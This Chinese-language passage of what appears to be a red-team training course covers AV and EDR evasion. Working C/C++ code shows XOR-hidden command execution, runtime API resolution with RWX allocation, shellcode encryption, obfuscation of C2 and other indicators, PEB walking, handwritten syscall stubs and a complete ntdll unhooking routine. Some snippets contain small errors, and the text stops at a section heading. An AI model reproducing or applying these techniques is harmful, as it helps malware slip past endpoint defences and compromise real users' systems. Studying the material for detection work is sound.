尽管现代端点安全技术不断进步,传统的杀毒(AV)软件仍然存在诸多架构和战略上的局限性。这些弱点可以被熟练的攻击者利用来绕过检测、维持持久性以及执行负载而不触发警报。


1.9.1 基于签名的依赖

传统的 AV 重度依赖 基于签名的检测

  • 扫描文件中与已知恶意软件匹配的字节模式。

  • 签名存储在本地数据库中并定期更新。

局限性:

  • 任何修改(多态性、加密、打包)都会使签名无效。

  • 新的恶意软件或零日攻击在签名更新之前无法检测。

  • AV 无法检测 无文件恶意软件内存执行技术

绕过技巧: 使用自定义打包工具、多态编码器,或在运行时动态生成负载,以避免签名匹配。


1.9.2 缺乏行为上下文

杀毒引擎通常 缺乏实时行为感知

  • 它们不会跟踪系统调用链、进程树或执行图。

  • 许多 AV 只在 文件级进程级 进行检测,缺乏更广泛的攻击上下文。

后果:

  • 滥用土地上的二进制文件(LOLBAS)(例如,certutil.exeregsvr32.exe)可能被忽视。

  • 通过 Office 宏、MSI 文件、HTA 执行可以绕过基础的 AV 扫描。

绕过技巧: 使用良性工具作为加载器或加载器,并依赖间接执行路径。


1.9.3 有限的内存检查

大多数 AV 并未有效地监控 运行时内存行为

  • 内存注入、shellcode 阶段和 DLL 空洞化通常无法被检测到。

  • 反射式 DLL 注入或内存修补的 PE 注入可以绕过静态分析。

局限性:

  • AV 通常扫描磁盘上的文件,而不是内存缓冲区。

  • 带有可执行权限的内存区域(例如,RWX)通常不会被监控。

绕过技巧: 使用反射式加载器,避免接触磁盘,确保负载仅在内存中运行。


1.9.4 静态启发式规则

一些 AV 实施 启发式规则 以进行异常检测,但:

  • 规则通常较为僵化,存在较高的误报风险。

  • 它们专注于表面上的指示符,例如可疑的文件名、不常见的 API 使用或异常的文件大小。

缺点:

  • 攻击者可以通过模仿正常行为绕过启发式检测。

  • AV 很少对多次操作进行关联。

绕过技巧: 将恶意代码包裹在看起来干净的包装器或模板中,避免启发式规则(例如,签名的安装程序、干净的图标)。


1.9.5 API 覆盖不足

传统 AV 主要监控常见的 API,例如:

  • CreateProcessWriteFileOpenProcess 等。

但高级技术使用 不常见或未记录的 API,甚至 直接使用系统调用(syscall),完全绕过这些检查。

示例: 使用 NtCreateThreadEx 替代 CreateRemoteThread

绕过技巧: 重新实现低级 API,或直接使用系统调用来绕过基于 API 的检测。


1.9.6 无内核级可见性

大多数消费者级 AV 产品并不部署 内核模式驱动 进行深入检查:

  • 无法查看内部内核对象或内核回调。

  • 无法在内核级拦截系统调用。

  • 检测伪造的 PPID、令牌操控或隐蔽注入的能力有限。

绕过技巧: 使用技术如 Early Bird 注入或 APC 排队,这些会在用户空间 AV 能够检查之前触发。


1.9.7 对混淆和打包的处理不当

现代恶意软件使用:

  • XOR、RC4、AES 加密负载。

  • 字符串和导入混淆。

  • 运行时解包(例如,UPX 或自定义存根)。

AV 通常无法解包或仿真代码执行。

绕过技巧: 使用自定义加密,动态解析导入,并以替代编码(如 IPv6、UUID、MAC 格式)隐藏 shellcode。


1.9.8 云关联延迟或缺失

虽然一些 AV 现在提供基于云的扫描(例如,Windows Defender 云保护):

  • 不是所有事件都会发送到云端进行分析。

  • 离线系统或被阻止的遥测会导致更新延迟。

  • 云签名可能会被修改过的负载绕过。

绕过技巧: 在测试期间阻止遥测域,并了解哪些工件会发送到云端。


1.9.9 AV 绕过是一场猫捉老鼠的游戏

攻击者和防御者之间处于 持续的军备竞赛

  • 每种绕过技术最终都会被检测并修复。

  • 工具如 VeilShellterDonutScareCrowInvoke-Obfuscation 等会随着 AV 检测的进步而不断涌现。

红队建议: 始终将负载在多个引擎(例如,隔离的虚拟机或离线的 VirusTotal 克隆)上进行测试,并频繁迭代。


总结

传统的杀毒软件提供了基础的端点保护,但它们存在以下缺点:

  • 静态的检测方法。

  • 有限的内存感知能力。

  • 对系统调用和行为的覆盖不足。

  • 对现代攻击向量的抵抗力差。

对于进攻性操作,了解这些局限性有助于量身定制绕过技术,而防御者则需要转向 基于行为和上下文丰富的检测策略(例如,EDR、XDR、UEBA)。

模块 2 - 用于规避的 C/C++

2.1 - 为什么使用 C/C++ 进行绕过

C 和 C++ 是进行低级系统操作和绕过 AV/EDR 的最有效语言之一。它们与硬件的亲密关系、对内存的直接访问,以及没有受控运行时的特点,使它们成为隐秘操作的理想选择。


2.1.1 – 直接内存管理

C/C++ 允许手动控制内存分配和保护,开发人员可以:

  • 使用 VirtualAllocHeapAlloc 或自定义分配器分配内存。

  • 使用 VirtualProtect 改变内存保护(例如,RW → RX)。

  • 从动态分配的内存区域执行代码。

  • 实现传统托管语言(如 Python 或 .NET)无法复制的自定义堆/恶意载荷加载流程。

这对于 无文件负载阶段性载荷内存执行链 至关重要。


2.1.2 – 不依赖于托管运行时

像 Python、PowerShell 或 C# 等语言依赖解释器或 .NET CLR,这些运行时通常会被安全产品监控或限制:

  • C/C++ 二进制文件不需要 .NET 或脚本引擎。

  • 它们本地运行在 Windows 上,减少了行为分析的攻击面。

  • 托管运行时可能在恶意行为发生之前触发启发式或基于机器学习的警报。

C/C++ 二进制文件本质上更难分析,除非它们被解包或反编译。


2.1.3 – 通过 API 混淆实现隐匿

在 C/C++ 中,可以在运行时解析函数导入,防止 AV/EDR 静态识别关键指标。示例如下:

  • 通过 LoadLibraryAGetProcAddress 手动解析 API。

  • 实现自己的 PEB 遍历 来查找基址并解析函数指针,无需导入。

  • 使用 基于哈希的 API 解析,而不是存储字符串名称。

这使得静态引擎更难检测到像 CreateRemoteThreadWriteProcessMemory 等常见的 API 调用。


2.1.4 – 自定义 PE 结构和入口点

C/C++ 允许你:

  • 定义自定义入口点(绕过 mainWinMain)。

  • 修改 PE 头数据、节名称或删除导入表。

  • 添加垃圾节或增加熵来迷惑 AV 启发式检测。

  • 使用 多态性变形技术 来生成每个版本。

你可以完全控制二进制布局、执行流和元数据,从而绕过传统扫描器。


2.1.5 – 与 Windows API 和内部结构集成

你可以直接与 Windows 内部结构进行交互,使用本地 API:

  • 访问 PEB 和 TEB 结构进行内部状态检查(例如,已加载模块、调试器存在)。

  • 使用 Nt*Zw* 系统调用,通过 NTDLL。

  • 构建加载程序和注入器,绕过正常的 Windows 加载程序,从而避免用户空间的钩子。

C/C++ 提供了实现高级技术所需的灵活性,比如:

  • 手动映射模块。

  • 自定义系统调用存根。

  • 修补钩住的函数(例如,unhooking NTDLL)。

  • 绕过 ETW、AMSI 和 WER。


2.1.6 – 完全本地性能和时序控制

在恶意环境中(例如沙箱、EDR 监控),性能和时序至关重要:

  • C/C++ 允许使用 QueryPerformanceCounterRDTSC 或内联汇编进行 精确时序操作

  • 有助于 反调试反虚拟机反沙箱 逻辑(例如,检测缓慢的睡眠、时间加速)。

  • 执行速度比高级脚本更快,且更加不可预测。


2.1.7 – 自定义混淆和打包技术

你可以实现:

  • 自定义 加密和解密 例程(XOR、AES、RC4)。

  • 自定义打包器或加载器来保护负载。

  • 使用编码字符串、指令替换或控制流扁平化的多层混淆。

通过避免依赖已知的打包器或混淆工具,可以绕过基于签名和启发式的分析。


2.1.8 – 总结

特性 绕过的好处
手动内存管理 使得 shellcode 执行和隐匿加载成为可能
运行时 API 解析 避免静态 IAT 和签名检测
PE 自定义 混淆静态分析工具
本地执行 绕过托管运行时监控
时序与反分析控制 绕过沙箱和虚拟机检测
混淆与打包 隐藏 AV/EDR 的意图和结构

C/C++ 提供了全面的控制和灵活性,使其成为进行 AV/EDR 绕过操作的理想选择。

2.2 - 避免静态检测(签名)

2.2 - 避免静态检测(签名)

静态检测依赖于分析二进制文件在执行之前,无需其运行。此分析包括匹配签名哈希启发式方法,甚至通过机器学习模型检查字符串、API调用和二进制结构。

在本节中,我们将探讨使用C/C++和自定义二进制修改来规避静态检测的方法。


2.2.1 – 字符串混淆

大多数AV引擎扫描硬编码字符串,例如API名称、命令行参数、URL或Shellcode标记。为了避免检测:

示例:XOR编码字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <iostream>

char* xor_decrypt(const char* input, char key) {
size_t len = strlen(input);
char* output = new char[len + 1];
for (size_t i = 0; i < len; ++i)
output[i] = input[i] ^ key;
output[len] = '\0';
return output;
}

int main() {
// XOR加密的"cmd.exe",密钥为0x55
const char* enc_cmd = "\x36\x38\x31\x7b\x30\x30";
char* cmd = xor_decrypt(enc_cmd, 0x55);
WinExec(cmd, SW_HIDE);
delete[] cmd;
return 0;
}

为什么这样有效:
AV扫描时查找明文的"cmd.exe",但由于字符串被加密,除非它进行模拟或解密,否则无法检测到。


2.2.2 – 避免静态导入

静态导入可疑的API(例如VirtualAllocCreateRemoteThreadWriteProcessMemory)可能会触发基于签名的AV检测。

示例:运行时解析API

1
2
3
4
FARPROC get_api(const char* lib, const char* func) {
HMODULE hMod = LoadLibraryA(lib); // 加载DLL
return GetProcAddress(hMod, func); // 解析函数地址
}

在上下文中使用:

1
2
3
4
5
6
7
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

int main() {
pVirtualAlloc myVA = (pVirtualAlloc)get_api("kernel32.dll", "VirtualAlloc");
void* mem = myVA(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
return 0;
}

优点:
此函数不在导入地址表(IAT)中,使得AV在静态分析时更难识别可疑的API。


2.2.3 – PE头部操作

签名扫描程序可以根据PE结构进行匹配。你可以:

  • 移除或清空Import Directory

  • 修改TimeDateStamp

  • 更改.text段的名称或权限。

  • 插入垃圾段或加密负载容器。

PEBearLordPECFF Explorer这样的工具可以帮助手动编辑。或者,你可以用C++构建一个最小的PE加载器,在运行时重建头部。


2.2.4 – 使用垃圾指令混淆

注入垃圾指令NOP等价指令使得签名匹配更加困难。

示例:内联垃圾操作

1
2
3
4
5
6
7
__asm {
nop
xor eax, eax
add eax, 1 // 真实逻辑
nop
nop
}

你还可以使用编译器特定的标志:

1
g++ -fvisibility=hidden -fomit-frame-pointer -falign-functions=32 -Os payload.cpp -o evasive.exe

2.2.5 – 加密Shellcode或负载缓冲区

静态检测可能会捕捉到嵌入的Shellcode字节模式。

XOR加密的Shellcode示例:

1
2
3
4
5
6
7
8
unsigned char enc_shellcode[] = {
0xAA, 0xBB, 0xCC // XOR加密负载
};

void xor_decode(unsigned char* buf, size_t len, unsigned char key) {
for (size_t i = 0; i < len; ++i)
buf[i] ^= key;
}

在执行前,你可以使用VirtualAllocCreateThread解密Shellcode。保持原始字节模式在编译时隐藏。


2.2.6 – 自定义加密器和打包器

与其依赖商业打包器(如UPX),不如自己构建一个打包器,来:

  • 加密负载。

  • 在运行时丢弃或注入到内存中。

  • 使用分阶段加载(加载器+负载)。

你可以将其构建为:

1
2
// loader.cpp: 解密并执行负载
// payload.bin: 原始加密负载文件

加载器从磁盘或内存中读取并解密负载,然后将其注入到当前或远程进程中。


2.2.7 – 使用宏和模板进行编译时混淆

使用模板和宏可以生成多态变化。

1
2
3
#define OBF(x) #x

const char* cmd = OBF(c m d . e x e); // 破坏静态解析器

即使是简单的变异也能改变二进制签名,有助于绕过静态指纹识别。


2.2.8 – 总结

技术 目的
字符串混淆 隐藏恶意标记,避免扫描器检测
运行时API解析 防止基于IAT的检测
PE头部定制 避免文件格式上的签名匹配
垃圾指令 使代码签名无效
Shellcode加密 避免已知字节模式检测
自定义加密器/打包器 控制负载的传递与内存布局
编译时混淆 创建多态构建

2.3 - 混淆妥协指标(IOCs)

妥协指标(IOCs)是EDR和AV引擎用来检测恶意活动的证据或模式。常见的IOCs包括硬编码的IP地址、域名、文件路径、互斥体名称和注册表键值。如果二进制文件直接包含这些信息,它将成为静态和行为引擎的容易目标。

在本节中,我们将探讨如何使用C/C++混淆这些IOCs,确保关键值在运行时动态解析或生成。


2.3.1 – IP地址混淆

问题:

硬编码的IP地址(例如192.168.0.1)可能会在静态检查时被EDR和AV标记,甚至可能通过内存扫描提取出来。

技术:

a) 将IP作为整数存储,并在运行时转换:
1
2
3
4
5
6
7
8
9
10
11
12
#include <winsock2.h>
#include <iostream>

int main() {
// IP存储为十六进制: 0xC0A80001 == 192.168.0.1
DWORD ipHex = 0xC0A80001;
in_addr ipAddr;
ipAddr.S_un.S_addr = ipHex;
std::cout << "Connecting to: " << inet_ntoa(ipAddr) << std::endl;

return 0;
}
b) 将IP字符串分割:
1
2
3
4
5
6
const char* part1 = "192";
const char* part2 = ".168";
const char* part3 = ".0";
const char* part4 = ".1";

std::string ip = std::string(part1) + part2 + part3 + part4;

这种技术将打破引擎查找完整IP模式的静态模式识别。


2.3.2 – 域名和URL混淆

示例:

如果二进制文件中包含"malicious-site.com"的明文,它很容易被黑名单检测到。

解决方案:

将域名分割,或使用Base64/XOR编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>
#include <iostream>
#include <string>
#include <vector>

std::string xor_decode(const std::vector<unsigned char>& data, char key) {
std::string result;
for (auto c : data)
result += c ^ key;
return result;
}

int main() {
std::vector<unsigned char> obf_domain = {0x7F, 0x74, 0x70, 0x71, 0x74, 0x65}; // 使用0x12进行XOR编码
std::string domain = xor_decode(obf_domain, 0x12);
std::cout << "Decoded domain: " << domain << std::endl;

return 0;
}

替代方法:使用DNS over HTTPS(DoH)或域名生成算法(DGA)

  • DGA可以根据时间/日期生成域名。

  • 通过仅在运行时解析域名,避免静态检测。


2.3.3 – 文件路径和互斥体混淆

a) 使用动态名称生成(随机或哈希):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>
#include <iostream>
#include <sstream>
#include <ctime>

std::string generate_mutex_name() {
std::stringstream ss;
ss << "Global\\" << GetTickCount();
return ss.str();
}

int main() {
std::string mutexName = generate_mutex_name();
HANDLE hMutex = CreateMutexA(NULL, FALSE, mutexName.c_str());
if (hMutex) {
std::cout << "Mutex created: " << mutexName << std::endl;
}
return 0;
}
b) Base64编码路径或使用运行时环境变量:
1
2
3
4
char tempPath[MAX_PATH];
GetTempPathA(MAX_PATH, tempPath);

std::string filePath = std::string(tempPath) + "hidden.dat";

这种方法隐藏了绝对路径,并适应当前系统。


2.3.4 – 注册表键值混淆

如果某个注册表键值通常与恶意软件相关,它可能会被加入黑名单。

a) 使用嵌套或模糊的键值:
1
2
HKEY hKey;
RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Intel\\Update\\Cache", &hKey);
b) 使用随机的键名,每次执行或每台机器都不同:
1
2
3
4
5
6
7
8
#include <windows.h>
#include <ctime>

std::string get_reg_key() {
srand(time(NULL));
int r = rand() % 10000;
return "Software\\System\\Temp\\" + std::to_string(r);
}
c) 尽量避免写入注册表;使用内存或临时文件。

2.3.5 – 反内存扫描混淆

许多AV和EDR扫描进程内存中的已知模式,如:

  • ASCII指标(例如"Powershell""cmd.exe"

  • 硬编码的C2标记

  • 可疑的互斥体字符串

对策:

  • 使用仅在需要时解密的逻辑混淆敏感字符串。

  • 使用SecureZeroMemory清除使用过的内存。

  • 将值存储在碎片化的缓冲区中或动态生成。


2.3.6 – 实际案例:Cobalt Strike配置提取

工具如cs-config-extractor会搜索:

  • "C2Server"字符串

  • "UserAgent""PostUri"模式

  • Beacon内存中的XOR密钥

为避免这种检测:

  • 加密配置部分。

  • 使用不明显的变量命名。

  • 避免将静态配置存储在内存中;仅在必要时重构。


2.3.7 – 通过间接方式混淆IOC

示例:

1
2
3
4
5
6
7
8
std::map<std::string, std::string> api_map = {
{"netconn", "192.168.1.1"},
{"agent", "hidden.localdomain"},
};

std::string fetch_api(const std::string& key) {
return api_map[key];
}

这种方式通过隐藏上下文和行为,避免了扫描器简单模式匹配。


2.3.8 – 总结表格

IOC类型 混淆技术
IP地址 整数格式、字符串拆分、DGA
域名/URL XOR/Base64编码、动态解析
文件路径 环境变量、随机名称
互斥体 哈希名称、每台机器生成
注册表键值 嵌套键、随机生成
内存中的字符串 运行时加密或碎片化

2.4 - 手动导入地址表(IAT)解析和动态链接

静态API导入(如在导入地址表(IAT)中声明的那些)通常被AV/EDR工具用来检测潜在的恶意行为。例如,像VirtualAllocWriteProcessMemoryCreateRemoteThread这样的函数出现在IAT中时,会明显提示可能存在代码注入。

本节探讨了通过在运行时动态解析Windows API函数,避免静态链接和基于IAT的检测的方法。


2.4.1 – 为什么避免静态链接?

当C/C++二进制文件静态链接Windows API函数时,它们的地址会被存储在IAT中。像PE-sieve或EDR传感器等工具可以:

  • 检测IAT中的危险API。

  • 在进程创建过程中钩取这些函数。

  • 对函数导入应用启发式分析。

动态链接避免了这些检测,因为API会在执行期间解析,通常是在行为检查之后。


2.4.2 – 使用 GetProcAddressLoadLibrary

最简单的动态解析API方法是通过LoadLibraryGetProcAddress

示例:手动解析 VirtualAlloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <windows.h>
#include <iostream>

typedef LPVOID (WINAPI* pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

int main() {
// 加载包含目标函数的DLL
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
if (!hKernel32) {
std::cerr << "Failed to load kernel32.dll" << std::endl;
return 1;
}

// 在运行时解析函数地址
pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
if (!myVirtualAlloc) {
std::cerr << "Failed to resolve VirtualAlloc" << std::endl;
return 1;
}

// 动态调用API
LPVOID mem = myVirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (mem) {
std::cout << "Memory allocated at: " << mem << std::endl;
}

return 0;
}

关键点: 二进制文件没有暴露VirtualAlloc到IAT中,这绕过了简单的静态分析。


2.4.3 – 使用字符串混淆隐藏API

为了使检测更加困难,可以对API名称和DLL名称进行混淆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// XOR解码函数
std::string xor_decode(const char* enc, char key) {
std::string out;
while (*enc) {
out += (*enc ^ key);
enc++;
}
return out;
}

int main() {
char encDll[] = { 'k' ^ 0x2A, 'e' ^ 0x2A, 'r' ^ 0x2A, 'n' ^ 0x2A, 'e' ^ 0x2A, 'l' ^ 0x2A, '3' ^ 0x2A, '2' ^ 0x2A, '.', ^ 0x2A, 'd' ^ 0x2A, 'l' ^ 0x2A, 'l' ^ 0x2A, '\0' };
char encApi[] = { 'V' ^ 0x2A, 'i' ^ 0x2A, 'r' ^ 0x2A, 't' ^ 0x2A, 'u' ^ 0x2A, 'a' ^ 0x2A, 'l' ^ 0x2A, 'A' ^ 0x2A, 'l' ^ 0x2A, 'l' ^ 0x2A, 'o' ^ 0x2A, 'c' ^ 0x2A, '\0' };

std::string dll = xor_decode(encDll, 0x2A);
std::string api = xor_decode(encApi, 0x2A);

HMODULE hDll = LoadLibraryA(dll.c_str());
FARPROC fn = GetProcAddress(hDll, api.c_str());
}

通过使用XOR编码混淆,API名称和DLL名称不再是明文,降低了被静态分析工具识别的可能性。


2.4.4 – 手动遍历PEB和导出表

高级恶意软件通常通过直接从进程环境块(PEB)解析API,并解析已加载模块的导出表,避免使用LoadLibraryGetProcAddress

这种技术有助于规避用户空间钩取和未钩取的API访问。

示例:从PEB手动解析GetProcAddress(简化版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <windows.h>
#include <winternl.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")

typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
PVOID Reserved1[2];
PVOID DllBase;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
// ... 截断
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

int main() {
PPEB pPeb = (PPEB)__readgsqword(0x60); // PEB在x64架构下位于GS:[0x60]

PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
LIST_ENTRY* pList = &pLdr->InLoadOrderModuleList;

LIST_ENTRY* pCurrent = pList->Flink;

while (pCurrent != pList) {
PLDR_DATA_TABLE_ENTRY pEntry = (PLDR_DATA_TABLE_ENTRY)pCurrent;

std::wcout << pEntry->BaseDllName.Buffer << std::endl;

pCurrent = pCurrent->Flink;
}

return 0;
}

通过手动遍历加载的模块(例如kernel32.dll)的基地址(DllBase),可以解析导出表,找到函数地址。


2.4.5 – 实际案例:SysWhispers

SysWhispers生成头文件和存根文件,允许你调用本地NT API,而不需要直接链接ntdll.dll

这些API通过系统调用号(而不是名称)解析。

1
NTSTATUS NTAPI NtAllocateVirtualMemory(...);

这种方法完全绕过了用户模式钩取,避免了基于IAT解析的静态分析。


2.4.6 – 总结

技术 绕过方式 使用场景
GetProcAddress + LoadLibrary 静态IAT检查 基本的动态解析
混淆名称 字符串扫描引擎 隐藏明显的证据
PEB遍历 钩取的LoadLibrary / 隐匿 自定义加载器、Shellcode等
手动解析导出表 用户空间API跟踪 无钩调用
SysWhispers/仅系统调用API 完全绕过用户空间 红队和后渗透工具

2.5 - 直接系统调用技术

传统的Windows API调用(如VirtualAllocCreateThreadReadProcessMemory)是调用低级本地函数(位于ntdll.dll中)的包装器,这些低级函数通过系统调用(syscall)转换到内核模式。EDR常常在用户模式下钩取这些API级函数。

为了绕过这些钩取,恶意软件和红队工具通常会直接调用系统调用,避开API级别的检测。


2.5.1 – 什么是系统调用?

系统调用(syscall)是用户模式内核模式之间的接口。在Windows中,系统调用通过ntdll.dll访问,ntdll.dll提供了NT原生API,如:

  • NtAllocateVirtualMemory

  • NtWriteVirtualMemory

  • NtCreateThreadEx

这些函数通常不会像更高层的Win32 API那样被频繁钩取,直接调用这些系统调用可以绕过大多数EDR用户模式钩取。


2.5.2 – ntdll.dll和系统调用存根的作用

当你调用像VirtualAlloc这样的Windows API时,它最终会调用ntdll.dll中的本地函数,如NtAllocateVirtualMemory,其汇编代码类似于:

1
2
3
4
mov r10, rcx
mov eax, syscall_number
syscall
ret

EDR常常会钩取这个存根函数。绕过这个存根意味着你需要直接调用自己的系统调用存根,而不依赖于ntdll.dll


2.5.3 – 手动系统调用存根示例

下面是一个简单的C/C++示例,**手动调用NtAllocateVirtualMemory**,使用内联汇编绕过ntdll.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <windows.h>
#include <iostream>

typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);

unsigned char syscall_stub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x18, 0x00, 0x00, 0x00, // mov eax, 0x18 (Syscall ID of NtAllocateVirtualMemory on specific builds)
0x0F, 0x05, // syscall
0xC3 // ret
};

int main() {
SIZE_T regionSize = 0x1000;
PVOID baseAddress = nullptr;

void* exec = VirtualAlloc(NULL, sizeof(syscall_stub), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, syscall_stub, sizeof(syscall_stub));

auto sysNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)exec;

NTSTATUS status = sysNtAllocateVirtualMemory(
GetCurrentProcess(),
&baseAddress,
0,
&regionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);

if (NT_SUCCESS(status)) {
std::cout << "Memory allocated at: " << baseAddress << std::endl;
} else {
std::cerr << "Syscall failed with status: " << std::hex << status << std::endl;
}

return 0;
}

⚠️ eax值(系统调用号)必须针对目标Windows版本设置正确。这些号在不同版本中会发生变化,因此大多数工具会动态解析这些号。


2.5.4 – 使用系统调用规避的实际工具

  1. SysWhispers / SysWhispers2

    • 动态生成ntdll本地函数的系统调用存根。

    • 通过解析干净的ntdll.dll来解析正确的系统调用号。

    • 通过正确的系统调用号直接执行系统调用,避免EDR钩取。

  2. Hell’s Gate

    • 读取内存中的ntdll.dll,动态查找和重建系统调用存根。

    • 绕过ntdll中的内联钩取。

  3. TartarusGate

    • 实现系统调用重映射和变异,以迷惑行为分析模型。

2.5.5 – 绕过用户模式API钩取:为何有效

被钩取的API EDR钩取? 是否可绕过? 备注
VirtualAlloc API级别,易检测
NtAllocateVirtualMemory 经常 经常被内联打补丁
直接系统调用存根 需要正确的系统调用号和存根

通过复制并执行自己的系统调用存根,完全避开了以下两者:

  • 基于IAT的钩取。

  • ntdll.dll中的内联打补丁检测。


2.5.6 – 动态提取系统调用ID

SysWhispers和Hell’s Gate扫描ntdll.dll.text节来提取系统调用ID。

关键技术:

  • 从磁盘加载ntdll.dll

  • 解析PE头和.text节。

  • 通过操作码模式识别系统调用存根。

  • mov eax, imm32提取系统调用索引。

这使得你的工具能够动态支持不同版本的Windows。


2.5.7 – 总结

  • 直接系统调用是绕过用户模式EDR钩取的最有效规避技术之一。

  • 系统调用必须小心实现,确保:

    • 正确的系统调用号。

    • 正确的函数原型。

    • 按照内核预期传递参数。

  • 动态生成系统调用使得规避技术能够独立于版本进行操作。

2.6 - 运行时卸载ntdll.dll钩取

现代的EDR经常使用内联钩取ntdll.dll中监控关键的NT原生API调用,例如NtAllocateVirtualMemoryNtProtectVirtualMemoryNtCreateThreadEx等。这些钩取允许EDR在系统调用到达内核之前拦截并分析它们。

一个常见的规避技术是通过手动卸载ntdll.dll

  1. 从磁盘加载一个干净的ntdll.dll副本

  2. 用这个干净副本覆盖内存中的版本(仅覆盖.text节)。

这样就移除了任何EDR安装的钩取,允许本地系统调用执行而不会被检测到。


2.6.1 – 手动卸载策略逐步说明

  1. 使用CreateFile + CreateFileMapping + MapViewOfFile加载干净的ntdll.dll副本。

  2. 解析PE结构以定位.text节。

  3. 使用VirtualProtect改变内存中.text节的保护。

  4. 用干净副本覆盖内存中的.text节。

  5. 恢复原始内存保护。


2.6.2 – 完整代码示例:手动卸载ntdll.dll

以下代码恢复原始的ntdll.dll.text节,以击败用户模式EDR钩取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <windows.h>
#include <winnt.h>
#include <iostream>

bool UnhookNtdll() {
const wchar_t* ntdllPath = L"C:\\Windows\\System32\\ntdll.dll";

// 1. 打开干净的ntdll.dll副本
HANDLE hFile = CreateFileW(ntdllPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;

HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr);
if (!hMapping) {
CloseHandle(hFile);
return false;
}

// 2. 将干净副本映射到内存
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!cleanNtdll) {
CloseHandle(hMapping);
CloseHandle(hFile);
return false;
}

// 3. 在映射并加载的副本中定位`.text`节
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)cleanNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);

LPVOID ntdllBase = GetModuleHandleW(L"ntdll.dll");

for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, section++) {
if (memcmp(section->Name, ".text", 5) == 0) {
DWORD oldProtect;
LPVOID pDest = (LPBYTE)ntdllBase + section->VirtualAddress;
LPVOID pSrc = (LPBYTE)cleanNtdll + section->VirtualAddress;

// 4. 改变内存保护
if (VirtualProtect(pDest, section->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
// 5. 用干净的节覆盖
memcpy(pDest, pSrc, section->Misc.VirtualSize);

// 6. 恢复原始保护
VirtualProtect(pDest, section->Misc.VirtualSize, oldProtect, &oldProtect);
}
break;
}
}

UnmapViewOfFile(cleanNtdll);
CloseHandle(hMapping);
CloseHandle(hFile);

return true;
}

2.6.3 – 为什么这种方法有效

  • EDR通过修改ntdll.dll中函数的前几个字节来插入钩取(内联钩取),将它们替换为JMP指令或跳板。

  • 通过从磁盘恢复.text节,我们完全移除这些钩取,因为我们用原始代码覆盖了修改过的代码。

  • 我们不会触及导入表或内存布局,因此可以避免被完整性检查或AV检测。


2.6.4 – 使用此技术的实际工具

  • Mimikatz(高级版本)

  • Cobalt Strike Beacon

  • BOF加载器中的卸载阶段

  • 红队战术 通常在使用本地API或手动系统调用存根之前进行ntdll卸载


2.6.5 – 检测考虑事项

尽管这种技术绕过了用户模式检测,但内核模式EDR仍然能够:

  • 监控被修改的内存页(例如,.text节)。

  • 钩取SSDT或内核回调(如果没有通过直接系统调用来绕过)。

  • 当预期的钩取被移除时发出警报。

为了应对这种情况:

  • 将**ntdll卸载直接系统调用存根**配合使用。

  • 避免行为上显得可疑的活动(例如,在卸载后立即注入远程进程)。


2.6.6 – 总结

特性 描述
目标 移除ntdll.dll中的内联EDR钩取
目标区域 .text节(函数操作码所在位置)
方法 从磁盘加载干净的ntdll.dll并覆盖内存中的节
规避级别 仅限用户模式(内核EDR仍然是威胁)
用途 在内存注入、系统调用使用等操作前的初始阶段

2.7 - 直接和间接系统调用规避

